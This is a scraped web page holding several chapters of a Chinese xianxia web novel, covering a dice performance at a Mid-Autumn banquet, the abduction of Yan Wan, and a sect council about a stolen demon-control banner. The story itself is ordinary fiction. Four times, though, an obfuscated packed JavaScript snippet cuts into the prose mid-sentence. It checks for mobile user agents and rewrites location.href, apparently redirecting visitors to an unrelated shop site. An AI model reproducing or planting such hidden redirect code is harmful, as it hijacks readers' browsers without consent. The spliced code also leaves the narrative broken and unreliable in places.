只见公仪岭面前的桌案上整整齐齐放了三个骰盅,每个骰盅里面都有六个骰子。他抬手拿起了第一个骰盅,闭上眼,在耳边上下左右来回摇晃了半晌,手上速度快得让人眼花缭乱,直到他觉得差不多了,才啪得一声将骰盅摆回了原来的位置。 这一下子,整个中秋宴的氛围瞬间跟赌坊一样热闹。 仙友们叫得此起彼伏,哄闹道:“开!开!” 公仪岭摇头:“还请大家稍等,等三个骰盅全部摇完,再一起开吧。” 在大家期待的眼光中,他又如法炮制,摇完了剩下两个骰盅。 “这下总可以开了吧?” “快开!快开!等了好久了!” 公仪岭深深呼出一口气,小心掀开了面前的骰盅。 第一个骰盅打开,里面垒起了一长条的骰子。公仪岭每拿下一个,大家都能发现这六个骰子,每一个骰子都是“六”点正面向上,无一例外。 “哇!太厉害了!” “怎么做到的啊这?他用仙法了吗?” 燕蓉在旁边悠悠道:“怎么可能,我可没教过他这种玩骰子的术法。” “阿岭,你来真的啊!”齐元白惊呼,“后面两个不会也是这样的吧?” 公仪岭看了他一眼,伸手又掀开了第二个骰盅。 第二个骰盅开出来,竟也是垒了六颗骰子,只不过这一次不同的是,面向围观群众的那一面,自下而上按照顺序被他摇成了一点至六点。 “厉害!” 虽然自家师弟师妹看自己摇过不少次骰子,但还是十分配合得给足了气氛,在下面连声叫好。 燕修远不紧不慢地喝了一口酒,挑眉道:“公仪宗主果然教子有方,公仪岭他还真是称得上一句多才多艺呢。” 下面坐着的公仪拓其实是挺想笑的,不过迫于一旁夫人的压力,只能面色如常地对燕修远抱歉道:“二儿子确实闹腾了些,燕宗主海涵。” 燕修远摆手道:“哪里的话,我看公仪岭表演的很不错呢。” 有了长辈们牵头,其他宗门的人也等不及了,连声嚷道:“还有最后一个了,公仪兄,你快点揭开吧!” 见气氛如此热闹,公仪拓也不好再说什么,偷眼去看沈熙华的面色,而后者则是微笑着对桥上的儿子比了个口型:“回去再收拾你。” 公仪岭浑身一颤,但还是挂着笑容揭开了最后一个骰盅。 那骰盅里面的骰子呈“品”字型被堆了起来,上面对着围观仙友的每一面骰子都完美地被摇成了六个六。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444793|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 空气中凝滞了片刻,不知道是谁带头先喊了一首声:“好!”接下来就是一声接一声的赞叹。 “精彩。” “我要是有这手法,去民间也不会……咳咳咳。” “瞎说什么呢?不怕你爹妈打断你的腿?” 公仪岭表演结束,行了礼,想了想还是满脸笑意地补充了一句:“诸位见笑了。以上是我今日给大家占卜的内容,寓意为:团圆佳节,好事成双。大家见笑了。” 沈熙华在下面凉凉接了一句:“阿岭,你这个占卜倒是别出心裁。” 公仪岭收骰子的手一抖,小声说道:“民间有用骰子占卜的说法,我便拿来借用一二。” 沈熙华看向他的眼神里充满了慈祥,但公仪岭却清楚地察觉到了母亲的言下之意是“等回去再收拾你。” 公仪岚听到沈熙华说的话就知道她定然是生气了,只能打了个圆场,劝慰道:“娘,阿岭也是不得已,你就原谅他这一次吧。” 劝解的效果微乎其微,沈熙华面色不佳,但还是碍于其他宗门的人在场没有当众出言责难公仪岭,而是对他招了招手:“既然表演完了,就回来吧。” 公仪岭不敢怠慢,也没敢把收好的骰子带走,直接连骰带盅塞到了仙侍手里,匆匆忙忙下了场。 他这么一出,哄得仙门后辈们倒是一个个兴奋起来了,但在那些长辈眼中,可就称得上是不成体统、丢人现眼了。 虽然这个东西,大家年轻时候或多或少有接触过,但毕竟是在中秋宴这样的正式场合,摆到台面上总归是不合适的。公仪岭很快就听到了几个年长者的窃窃私语:“我早知公仪宗主家的那位小公子仙资虽高,却是个从不好好修行的顽劣之徒,今日一见,果然传言不虚。” “可不是嘛?他这样的,走正道也就算了,可别到时候走歪了路,寒了他爹娘的心。” “我道那抱元门几个老头明知道仙考榜首是公仪岭,但怎么选了公仪岚当女婿?原来是这样!若是换了我,怕也是不放心将女儿交给他的。” “一派胡言!” 齐元白重重搁下酒杯,想要去跟人理论,却被齐阳羽一声厉喝制止:“坐下!我是怎么教你的?还学会去和长辈顶嘴了?” “爹!可是明明就……” 齐阳羽冷声道:“你知道又如何?他们只相信自己看见的,凭什么会相信你的一面之词?你有心帮他,倒不如管好自己!别到时候因为公仪岭的问题影响到你身为少宗主的声望。” 齐元白心有不甘,却在这时候听到旁边传来公仪岚清风明月般的声音:“几位,此言差矣。阿岭天资聪颖,修习一个月便能达到旁人修习一年都难以企及的高度,他不过是将闲暇时间用在了它处而已。便是如此,仙考的时候也无人胜过阿岭一筹,不知道你们口中从不修习的说法从何而来?” “再者,他除了磨练厨艺和钓鱼这两大爱好,再无其他,不知哪来的顽劣之说?至于择婿的事情,本就须得考虑双方意愿,抱元门从未放出话来说要与仙考榜首结亲,那仙考位次也不过是一个参照而已。” 此言一出,众人都面面相觑,忍着没说话。 谁都知道现在抱元门是何等看重公仪岚,云灵山的这位少宗主可谓前途无可限量,众人都想着多一事不如少一事,没必要在这时脑子犯浑去跟他怼起来。 公仪岚语气渐冷,眼神锋利,直视道:“阿岭是我弟弟,谁与他过不去,也就是和我们云灵山过不去!还请诸位,谨言慎行。” 65.婉婉思柔情 一旦总成空(一) 听到这话,有几个年岁稍长的人脸上面子挂不住了。 那几位虽然是小宗门出身,但在他们宗门那边也是有头有脸的人物了,一开始听公仪岚语气温和,还觉得忍一忍就罢了,现下被一个后辈这么教训,脸顿时青了:“我还道为何区区一个公仪岭如此张狂,原是你们云灵山家风如此,教出来的小辈们都是这样的做派,今日也算是让我们大开眼界了!” 公仪岚捏着酒杯的指尖微微发白,公仪岭连忙给他安抚下来:“大哥,没事,被他们嚼两句舌根而已,反正我不当少宗主,名声不好听也没事,只要你们知道我是什么样的就行了。” 公仪岚摇头道:“阿岭,你要知道,他们看不起你,也就是看不起我们云灵山,你是我弟弟,如何能够容忍旁人说三道四?” “阿岚说的没错。” 说罢,公仪拓对那几人微笑道:“几位仙僚,阿岭既然上去表演才艺,也就是为博大家一笑才选了这个罢了,这个才艺合不合适放在这里表演,那也是燕宗主说的算,我可不记得燕宗主规矩里说了不能用骰子来表演才艺吧?你们若有什么不满,大可直接与我们明说,何必在背后刁难一个小辈,倒显得你们小肚鸡肠了。” 那几人见状松动了些口风,犹豫道:“如此正式场合,表演这些,于礼不合……” 燕修远咳嗽了一声,止住了他们之间的唇枪舌战,缓缓说道:“今天大好的日子,几位何必因为小事吵起来呢?公仪岭的本意是好的,各位仙僚看的也高兴,这就够了,不必因此计较。” 那几位长辈虽然看起来不是很情愿,不过燕宗主都开口了,在别人的地盘里还是得留几分薄面的,于是悻悻作罢,闭口不谈了。 只是这么一闹,众人参与这个游戏的兴趣就少了许多,很多后辈们都担心自己没有拿得出手的才艺,如果表演一个不得体的还会连累宗门丢脸,于是都沉寂了下来。燕蓉见大家兴致缺缺,就对师父说道:“师父,我看河灯游戏便先玩到这里吧?我叫几个仙侍去催一催师姐,看看她的舞衣换好了没有。” 燕修远点头:“也好,去请婉婉来。” 燕婉自己的几个仙侍方才都跟随着她回到了房内,这会儿其他仙侍则都是跟在宾客身后侍奉。燕蓉只能随手指了燕渊身后的两个仙侍,吩咐她们道:“你们两人,去大师姐的房间里催一催她,就说师父叫她换好舞衣就快些回来。” 仙侍答道:“是。”转身就要朝着燕婉住所方向而去。 酒过三巡,燕渊这会儿已经喝得微醺,一伸手将两人拦了下来,晃晃悠悠起身对燕蓉说道:“师姐!我、我也去。” 燕蓉看他走路不稳的样子,怀疑道:“少宗主,你行吗?” 燕渊不容置疑:“行,我当然行!阿姐走夜路怕黑,我去接一接她……” “那好吧。” 燕蓉向来说服不了他,于是叮嘱他了一句路上小心,送走了人。 而公仪岭那边,虽然这件事情被轻飘飘揭过去了,他还是十分郁闷地啃着碗里的鸡腿,一边嚼,一边心里琢磨着以后遇到这种场面,自己该如何应对。 即使爹娘和大哥依旧当他是个没长大的少年,但他也心知自己已经过了十八岁生辰,不算是个年幼的人了,总不能一直这样不作为下去,还要让大哥为自己争辩。 再说,大哥以后如果继任了宗主,自己有能力的话,也能多帮扶一二。 公仪岭在心里打了一把绝妙的算盘,打算回去以后就开始每天好好修习,免得自己给人落下话柄了。 啃完了鸡腿上面的最后一块肉,他满意地舔了舔唇,正要拿起下一块的时候,宴会上就磕磕绊绊冲进来一个人,大喊着:“爹!不好了、不好了,出事了!” 燕煦泽这会儿刚收好大鼓,惊讶道:“少宗主你慢慢说,发生什么事情了?” 燕修远意识到不对,霍然起身:“出什么事情了?” 公仪岭拿着鸡腿,怔怔地看着燕渊慌不择路、前言不搭后语的样子,从他跟燕修远断断续续的讲述里得知,燕婉失踪了。 “什么?!” 最先惊叫出声的不是燕修远,而是座下的齐清鸢。 她几乎在听清楚燕渊话的那一瞬间,就起身朝那边奔了过去,抓着燕渊的衣袖心急如焚:“燕渊,你说清楚啊!究竟是怎么回事?婉婉好端端的,怎么会失踪?!” 燕修远也急声追问:“怎么回事?!” 话一出口,又立刻意识到自己的失态,燕修远瞥了一眼周围宾客投来的目光,还是压低了声音问燕渊:“渊儿你可搞清楚了?婉婉在自己的院子里怎么能失踪?” 燕渊也没了往日骄矜的姿态,顾不得甩开齐清鸢的手,说话声线都在颤抖:“我带了仙侍去阿姐院中寻她,却见她的院门大开着,外面守着的侍女昏倒在地,我一进去发现里面空空如也,阿姐根本不在里面!而且她的床榻边还放着她准备换的舞衣……” “快派人去找啊!婉婉才离开多久,在紫阳宗难道还能被人带走了?!”齐清鸢的声音都带了哭腔。 齐元白知道她们俩人情同姐妹,见她状态不对,连忙上前把妹妹带了回去,好声安抚着:“没事的,阿鸢你先别急,燕婉姑娘人那么好,不会出事的。” 燕修远深吸一口气,扫了眼随从仙侍:“周围可有找过了?没有发现婉婉吗?” 燕渊十分肯定地摇了摇头,说道:“找了,我还将那几个仙侍摇醒问了,她们说,阿姐进去换衣服以后,她们就在外面守着,之后忽然闻到了一股异香,再然后她们就没有意识了。” 燕修远看向他身后:“那几个侍女呢?” “我叫她们继续在阿姐院子附近找一找了,爹,你也过去看看吧!”燕渊急得不行,哪还顾得上宾客在这里等着,恨不得立刻回去将紫阳宗上上下下全都搜查一遍。 公仪拓却在此时皱眉道:“既然仙侍是被迷香迷晕,我看怕是有人趁机掳走了燕婉,只是来的时候紫阳宗外围都被仙障围起,未持有拜帖者不得入内,这人究竟是有什么手眼通天的本事,才能混了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结界设了,但等了许久,公仪岭也不见他们回来一人。直到又等了几炷香的时间后,才匆匆有一个仙侍直奔他们过来。 这仙侍正是刚才跟过去的其中一位。齐清鸢噌地一下站起身,追问仙侍:“如何了?可找到婉婉了?” 仙侍没有直接回答她的话,而是面露为难:“宗主请抱元门、云灵山、太微山三家的人前去庆阳殿议事,其余仙家还请先行回院休息,静候消息。” 纪怀风问道:“燕宗主设下结界,意思是我们其他人也需要留几日了?” 仙侍恭恭敬敬道:“正是,还请诸位谅解,待到事情水落石出,宗主自然会解开封禁,让大家回去。” 他们虽然颇有微词,不过还是能理解当事人的心情,配合了所有仙侍指引离开了宴席,回了院落。 等到人都走完了,仙侍这才对三家的人说道:“请随我来。” 66.婉婉思柔情 一旦总成空(二) 庆阳殿里燕家并没有来多少人,坐在里面的也仅有燕修远、燕渊、燕蓉和燕煦泽这个大弟子。 仙侍引了他们进门之后,立刻就回身将门关上了。齐清鸢进了殿也没看见燕婉,急得不行,也顾不得什么礼数,第一个问道:“燕宗主,婉婉找到了吗?!” 齐阳羽轻轻呵斥:“阿鸢,冷静些。” 燕修远扶着额头,看起来很是头痛:“没有找到,我已经命仙侍在全宗门上下寻找了,还没有结果。” 公仪拓问道:“燕婉的房中可有找到什么线索?” 燕修远道:“燕蓉在她房中的墙上和几个角落发现了斗法的痕迹,想来婉婉定然是与那歹徒斗了法术,打不过才被带走的。” 燕蓉补充道:“这房间中这斗法痕迹并不多,想来燕婉姑娘与歹徒只过了没几招。” 公仪岭十分疑惑:“但从之前仙考的时候来看,燕婉姑娘再怎么说也不会如此轻易就被制服……” “也许是那歹徒对师姐也用了迷香,才会这样。” 公仪岚点头:“的确有这个可能。” 燕渊叹气道:“阿姐房中门窗都开着,即便是用了迷香,等我们过去的时候,也早就散完了。” 燕修远难得自责:“此事怪我,若是再仔细查一查来客,多设几层封禁,婉婉也许就不会被掳走了。” 公仪拓才对燕修远道:“中秋宴人多眼杂,歹徒想混进来也不是没有办法。现如今宴会还没结束,还是一家一家盘查一遍再说。” 燕修远点头:“我正有此意。当务之急,还是先找到婉婉再说。” 一直没说话的齐阳羽突然道:“你们家燕婉平常性子和顺,与人为善,怎么会有人忽然来紫阳宗掳走她?难不成,燕婉还惹了什么人不成?” 燕修远否认道:“婉婉哪里来的什么仇家?她平日里是什么样子,紫阳宗的人都再清楚不过!要我说,整个仙门都找不出第二个比她性子更温婉的人了。” “这就奇了,掳人不是寻仇的话,那要么就是燕婉被歹徒看上了,或是她是否在外面有情郎没告诉你,就跟人走了?” 燕渊打断道:“阿姐她从未与陌生男子有私下接触,话都没说过几句,何来私奔一说?你们不要信口开河!这次安排阿姐跳舞,也是为了给她找一个好夫家,我和爹才能放心。” 公仪岭道:“那难不成,是为了求财?” 这就更离谱了,燕修远明显不信:“在场哪家不是有头有脸的宗门,谁会赌上自己的名声就为了身外之物?除非他以后当真不想呆在仙门了。” 齐阳羽抱胸,似笑非笑:“既非寻仇和情债,又非求财,那燕婉到底有何价值,值得这歹徒冒这么大风险,在紫阳宗大办那中秋宴的时候,特意过来将她掳走?” 他刻意加重了“特意”这两个字眼,话说得直白却也不失道理,可公仪岭却分明看见在场几位长辈不知道为什么都变了脸色。 公仪岚也察觉到了这一点,思虑再三后,还是忍不住问道:“爹、娘,几位宗主,现在这里就只有我们几人,想必现在也不必隐瞒了吧?我只想知道一个问题:御魔幡遗失后,到底是不是落到魔族手中了?” 虽然他们之前多番猜测,但总归没得到一句准信儿,所有的一切都是自己私下的推测,作不得数。 公仪岭在历练之后怀疑的问题,公仪岚自然也想过,如果是魔族拿到了御魔幡,那他们假意帮助冀阳先城主来换取魂魄的事情,就有了合理的解释。 几位长辈面面相觑,沉默了许久不答,最后还是燕修远开口承认道:“是,魔族从紫阳宗盗走了御魔幡,我想他们就是为了摄取魂魄,为己所用,壮大势力。这些年,他们吞并鬼界妖界,也就是这个目的了。” 公仪岭道:“那之前他们在冀阳城骗城主定下契约,也是为了之后盗取御魔幡提前布局?” 公仪拓冷声道:“那是自然,左不过人间两边打仗,把仙家扯了进来,对他们来说,当然是死得越多越好,无论怎么样都不吃亏,盼着两败俱伤才好呢。” 原来如此。 公仪岭明白了,继而问道:“燕宗主,你们紫阳宗已经丢了御魔幡,那为什么现在燕婉也不见了?那歹徒带走燕婉,究竟是为了什么?” 他指着一旁站着的燕渊,继续说道:“那歹徒怎么不抓燕渊呢?不管怎么看,似乎都是抓少宗主看起来更有价值吧?何况紫阳宗这位少宗主看起来还不太聪明的样子。” 燕渊被他气得涨红了脸,上前一步就对他怒道:“你这话是什么意思?!什么叫我不太聪明??” 没人搭理燕渊的反驳。而正座上的燕修远则是沉默了片刻,才肃然道:“紫阳宗先人流传下来的,大多都是至阳至烈的宝物,若是想解开先人设下的禁制为己所用,必得是用宗门中正统血脉的女子鲜血才能解开。” 此话一出,满堂静默。 公仪岭顿了片刻,才道:“竟是如此,那看来,多半就是玄霄殿动的手了。” 齐元白叹了口气:“现在也只是我们的推测,尚无确切的证据,如何能去玄霄殿要人?他们随便搪塞一两句,大可将我们糊弄过去,我们总不能直接闯进别人的地盘搜人。” 公仪岭心知他说得不错,自几十年前先辈们与之大战后,好不容易维系住了平衡的局面。现在仙魔两界关系微妙,正处在一个互不干涉也互不得罪的情况,如果他们贸然打破平衡,保不齐就又打起来了。 齐阳羽嗤道:“我看他们早就存了不轨之心,不想与我们两厢太平。至于在中秋夜宴上劫走燕婉,不过是存了挑衅我们的意思罢了。” 燕修远沉着脸没有应答,但显然认同齐阳羽说的话。 公仪岚凝眉问道:“玄霄殿如果解开了御魔幡的禁制,届时会如何?” 燕修远道:“御魔幡此物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457736|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本就亦正亦邪,禁制没被解开的话,能用作收服魔物,一旦禁制解开,情况就大不相同了。如果他们借用燕婉的血炼化了此物,那就再无转圜余地,御魔幡就只能用作控制魔物心神,将他们变成傀儡,为己所用了。” 公仪拓也心情沉重:“若是普通傀儡也就罢了,坏就坏在被御魔幡控制的傀儡大多都极难对付,如果控制的是那些凶煞魂魄,就更麻烦了。” 公仪岚大致明白了,但还是有一事不解,于是继续问他们:“燕宗主可还记得三年前,三化殿上的公仪正卿一案?” 燕修远微微皱眉,回忆了片刻,才想起来这个事情,点头道:“记得,他不是带着那只狐妖的尸体叛逃了吗?” “不错,确实是叛逃了。但是我们再去仙考之前,在一座山中遇到了他们,那狐妖已经被御魔幡控制了心神,还借此继续修炼。” 他将云灵城遇到的事情简单讲述了一遍,而后才说道:“这时候燕婉还没有被劫,但他们也能靠御魔幡控制魔物心神,不知道是为何?” 燕修远垂眸思忖了一会儿,才道:“玄霄殿的法宝不在少数,兴许是借助了旁的办法,才会如此。” 齐元白问他:“那,解开禁制的办法,除了紫阳宗的人,可还有其他人知晓?” 燕修远道:“这禁制是记载在古籍中的,有多少人看过很难统计得知。何况我紫阳宗弟子成百上千,这么多年来被逐出师门的也不在少数,别的人想要知道这个办法,稍微探听下也就能知道了,算不上什么秘密。” 燕渊见他们商量了半天也没个主意,急道:“此事十之八九就是玄霄殿做的,难道我们明知道阿姐的去处却又什么事情也不做吗?不管怎么说,也该去玄霄殿问上一问!总不能让阿姐在那边受尽折磨!” 燕蓉虽平日里时常看不惯燕渊的性子,但这时候还是能理解他的心情,出言宽慰了一句:“少宗主,你先别急。兹事体大,也该让各位宗主商议一下对策,看看怎么办才好。” 公仪岭却心中有了个主意,琢磨了一会儿才建议道:“我看不妨这样,燕婉姑娘失踪的事情现在各家也都知道了,消息传出去后,我们便借口寻找燕婉在各界闹出点动静来,再给玄霄殿书信一封,警告他们不要对燕婉不利,只要燕婉姑娘没事,两界还能和平共处。如果他们出口否认,那就借此机会直接前去魔界请见,派人悄悄潜伏进去查看,如果找到人和御魔幡了,他们自然百口莫辩,后面哪怕真的开战,也师出有名。” 齐元白点头道:“的确,不管怎么说,总得先稳住他们,让他们不要对燕婉姑娘下狠手。” 公仪拓问燕修远:“炼化御魔幡需要多久?我们有多久的时间?” “这幡想要被彻底炼化,就需一直得用鲜血喂养七七四十九日。但想要救婉婉回来,还是需得越快越好,等到真被放了这么久的血的话,便是修为再高的仙也只剩一张皮肉了。” 67.婉婉思柔情 一旦总成空(三) 初步的计划就这样暂且敲定了下来,三家人简单谈后,就让几个小辈各自回了自己的院落,其他几位长辈则是关上门继续讨论其他事情。 燕蓉与公仪岭他们顺路,便一同走了一段路。 公仪岭虽然修习的不错,但他对其他宗门的那些历史背景就了解的不多了。边走边想着紫阳宗血统的事情,顺口问了燕蓉一嘴:“没想到你们宗门竟还有这样以血为媒的解封办法,只是我记得燕宗主那一辈只有他一个儿子,并没有什么姐妹,那御魔幡岂不是断代了吗?” 燕蓉回道:“一代没有女孩,倒是不至于断;若是多几代没有,那就算是真断代了。所以,我们这一代必须要有女孩。至于师父那一代,要不是没有女孩,他能当宗主吗?” 公仪岭诧异道:“你的意思是说,紫阳宗从前的宗主一直都是女孩?” 燕蓉深深看了他一眼:“你竟不知我们紫阳宗的开山祖师是一位女子?仙史一门功课竟差到了这样的地步……看来仙考大会里面的文试也该提上日程了。” “哦?竟有此事?”公仪岭觉得神奇,不过想到燕渊后随即了然,“嘿,你还真别说,难怪你们宗门男孩看起来不太聪明,以前都没听说丢过御魔幡,偏偏到这一代就丢了。” 燕蓉道:“从前紫阳宗的历任宗主皆是女子,且每一代出生的后辈大多都是女子的仙资高于男子,故而宗门有个不成文的规定,那就是每一代都须得出生两个女儿来开旗。” “从前都是如此,直到到了师父这一代,并没有女孩出生,所以师父才继任了紫阳宗宗主之位。你也看出来了,我们家少宗主……不提也罢。正因如此宗门才会逐渐式微,不然的话,也不会如此了。” 公仪岚疑惑道:“从之前的仙考来看,虽然燕渊脑子是不太灵光,但还是挺能打的,排位也比燕婉高出一筹,如果按你说的这样,不应该是燕婉的仙资更好一点吗?” 燕蓉从容说道:“仙资这个毕竟也是靠机缘的,又不是说宗门里生出一个女孩就是资质最高的人。跟其他人比来说,师姐确实已经很厉害了,但跟从前先宗主们相比,还是相差甚远。” “那倒也是。” 齐元白思忖道:“我看燕蓉你的资质就很不错嘛,要不是早早相识,说不准还以为你才是紫阳宗的直系血亲呢。” 燕蓉一怔,继而笑道:“我啊,我可不是,这是一个意外罢了。” 回到了芙蓉院后,已经是半夜三更了,公仪岭本想等爹娘回来问一问他们商量了什么事情,但左等右等也不见人回来,最后困意来袭,倒头睡着了。 公仪拓和沈熙华则是在第二日清晨才回到了芙蓉院中,彼时公仪岭还没有醒来,他们两人回来后正撞上在院子里晨练的公仪岚。 公仪岚刚收了剑式,将彻云剑召回了剑鞘中,余光一瞥就看见自家爹娘推院门进来,眼中一亮,忙迎了上去:“爹娘,你们回来了。” 公仪拓忙碌了一夜,眼下都多了些乌青。虽然疲惫不堪,但还是含笑夸了他一句:“到底是阿岚勤奋,在这边也不忘晨练。” “爹,这是我应该做的。就是不知其他几位宗主在庆阳殿商议了什么,让你们这么久才回来?” 说起这个,公仪拓面色不善,旁边的沈熙华也是凝重不已。夫妻两人对视了一眼,才低声说道:“阿岭还没醒吧。” “没有。” 公仪拓肃然道:“他没醒也没事。阿岚,接下来我跟你娘说的话,你要牢牢记住。” 公仪岚见他们严肃,心中不由担忧:“爹娘,发生什么事情了,你们说就是,我会记住的。” 可谁知,公仪拓下一句话竟然是:“阿岚,我们要走了。” 公仪岚怔愣在原地,不理解他们话中的意思:“走?走去哪?紫阳宗现在还封禁着,我们可以回云灵山吗?” 沈熙华见到儿子这样,心中一痛,眼里满是不舍,但还是缓慢而坚定说道:“一日后,燕修远会解封结界,等到我们回到云灵山,将事务处理完毕,我与你爹两人就要云游四方去了。” 公仪岚难以置信:“云游四方?可是现在突发了这样的事情,爹娘不在的话,如何主持大局?” 沈熙华直视着他:“云灵山有你和阿岭,我们很放心。” 公仪拓也道:“我们也是顺道出门办事去,事情办完也就回来了,你们俩也不用太担心,有处理不来的就问承悦搭把手,他自幼跟着熙华掌事,山中大小事务他最为清楚。” 听到他们办完事就会回来,公仪岚这才松了一口气:“莫不是因为燕宗主现在自顾不暇,爹娘你们这才替他办事去的吧。” 公仪拓点头:“算是吧。”说罢就将怀中的一枚赤玉云纹令牌交给了公仪岚。 “爹,你把这个给我做什么!” 公仪岚惊呼出声,伸手就把令牌推了回去。 这赤玉云纹令牌不是别的,正是云灵山宗主才能持有的宗主令牌。实际上,谁持有这块赤玉云纹令牌,谁才是真正名义上的宗门宗主。 “嗯……这个我与熙华都商量过了,我们此行还不知道什么时候回来,云灵山不能没有宗主掌事,当然是由阿岚你代替我主持大局了。”公仪拓语气轻松道,“不管怎么说,有了这块令牌,你行事便是以宗主身份出面,多少方便些,外头也少些闲言碎语。” 公仪岚没接,迟疑片刻后拱手道:“虽说行事需得以宗主身份出面,可那也毕竟是暂代,眼下就将令牌给我,多有不妥,还请爹娘三思。” 沈熙华却是不容置疑,见公仪岚没接,直接把东西塞进他怀里:“阿岚,听话。你身为云灵山的少宗主,早晚该肩负起这样的担子,这一次权且当作是历练了,也好让我们看看你的能力。这令牌你安心拿着,大不了等你爹回来,再还给他就是了。” “可……” 公仪拓难得郑重:“阿岚,事情发生的突然,你忽然代管云灵山,如果没有这令牌的话,旁的几家不知真相的宗门难免颇有微词。你既要守好云灵山,也要护好阿岭,若没有令牌该如何服众?只有将宗主令牌交给你保管,我和熙华才能放心地离开。” “阿岭他虽然平日里没个正形,但不管旁的人怎么看他,他是什么样的人,你我都最为清楚。”沈熙华叹息道,“整个云灵山中,最让人放心不下的就是他了,再加上这一次中秋宴闹了这一出,那些宗主本就觉得他玩世不恭,现在只怕是对他的印象更差了些。这孩子,真是让人不省心。” “好吧,我明白了。”公仪岚小心翼翼接下了令牌,将它贴身放好,才说道,“爹,娘,我会好好守着云灵山,看好阿岭,与他一起等着你们回来。” 沈熙华露出了满意的笑容:“这便对了。” “那,等阿岭醒来之后,我再同他说这件事?”他试探问道。 沈熙华点头:“也好,你们两兄弟感情深厚,有阿岭在你旁边,也能互相帮扶。” 与公仪岚细细交代完事项以后,他们两人便回房休息了。公仪岚也没了心情继续练剑,在院中煮了一壶茶,等着公仪岭醒来。 这一次公仪岭并没有睡很久,大约是心神不宁惦记着事情,躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473205|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只睡了两个时辰就醒了。 他迷糊着起身,揉了揉眼睛,却发现窗外天已经大亮。公仪岭知道这个点大哥多半是在院子里晨练,连忙下了床朝院子里去。 “大哥?你在吗?” 公仪岭喊了两声,才瞅见公仪岚坐在茶桌前静静地喝茶,也不知道在想些什么。 彻云剑则是被他随手丢在了茶桌上,都没收进剑鞘之中。公仪岭心觉得不对,在他旁边坐下,问道:“大哥,今天怎么没有在院子里练剑?爹娘回来了吗?” 公仪岚简单答道:“刚练完。爹娘回来与我说了事情,就回房间休息了。” “如何?他们在庆阳殿里商量了什么?” 公仪岚为他斟了一杯茶,低声道:“他们具体说了什么,爹娘并未与我详细说。他们只告诉我,等后天回云灵山处理完事务以后,他们就要离开云灵山,云游四方去了。” “离开?怎么这么突然?” “许是燕宗主丢了女儿,现在自顾不暇,所以将事情托付给爹娘来处理。阿岭,你不必担心,等爹娘办完事情也就回来了。”公仪岚道。 公仪岭问道:“爹娘可还有什么其他交代吗?” 公仪岚静默片刻,从怀中取出了赤玉云纹令牌:“爹娘将宗主令牌交给了我,说我代掌云灵山这段时间,有了宗主令牌的话,行事会方便很多。” 公仪岭忧愁道:“如此看来,他们两人这次怕是要离开不少日子。” “的确。” “那紫阳宗那边怎么说呢?”他又问。 公仪岚抬眼看向天边的结界,叹息道:“等明日排查完后,燕宗主就会解开结界,让大家离开。至于燕婉失踪这件事情,我想紫阳宗自然会想办法的,你有什么想问的话,届时与燕蓉书信联络,再问她吧。” 与大哥说完后,公仪岭本想出门去问问齐元白或是燕蓉,结果刚走到院门,想要推门离开,人就被结界弹了三丈远。 公仪岭没有防备,摔了个屁股墩,震惊地看着院门:“这是怎么回事?怎么连院落也都下了结界?” 公仪岚也十分意外,起身过来查看了一下结界,伸手触碰了一下结界上若有似无的痕迹,皱眉道:“是紫阳宗设下的结界没错,想必是外面他们正在满门寻找燕婉吧?” 公仪岭不解:“可是,不是已经十之八九确定燕婉姑娘是被玄霄殿带走了吗?” “这一次中秋宴,紫阳宗在外面设的结界并不好破,这么短的时间里,说不定他们还没有带走燕婉,先封了各院在宗门里查看一番,总归没错。” 公仪岭感慨:“玄霄殿的人也真是够胆大的,竟然当众在紫阳宗劫人,难道真的不担心我们同他们算账吗?” “玄霄殿狼子野心昭然若揭,我看早晚仙家会与他们一决高下,就算没有燕婉,也会有下一个冲突事件。”公仪岚沉声说道。 公仪岭拍了拍身上的灰尘,很是遗憾:“我本来还打算去问一下齐元白和燕蓉呢,咱们爹妈得去办事的话,没准齐元白爹娘也得去呢。” 公仪岚猜测道:“曲夫人并未跟过来庆阳殿,我想大约是齐宗主不愿她掺合到这些事情里面吧。” 公仪岭凝视着结界许久,末了还是放弃道:“罢了,这时候想必他们也手忙脚乱的,等回云灵山我再写信问他们也不迟,这时候就不出去添乱了。” 公仪岚笑着指向院子里的一棵纳凉大树:“我看那树杈子生得极好,不如下午你就在那上面休息吧。” 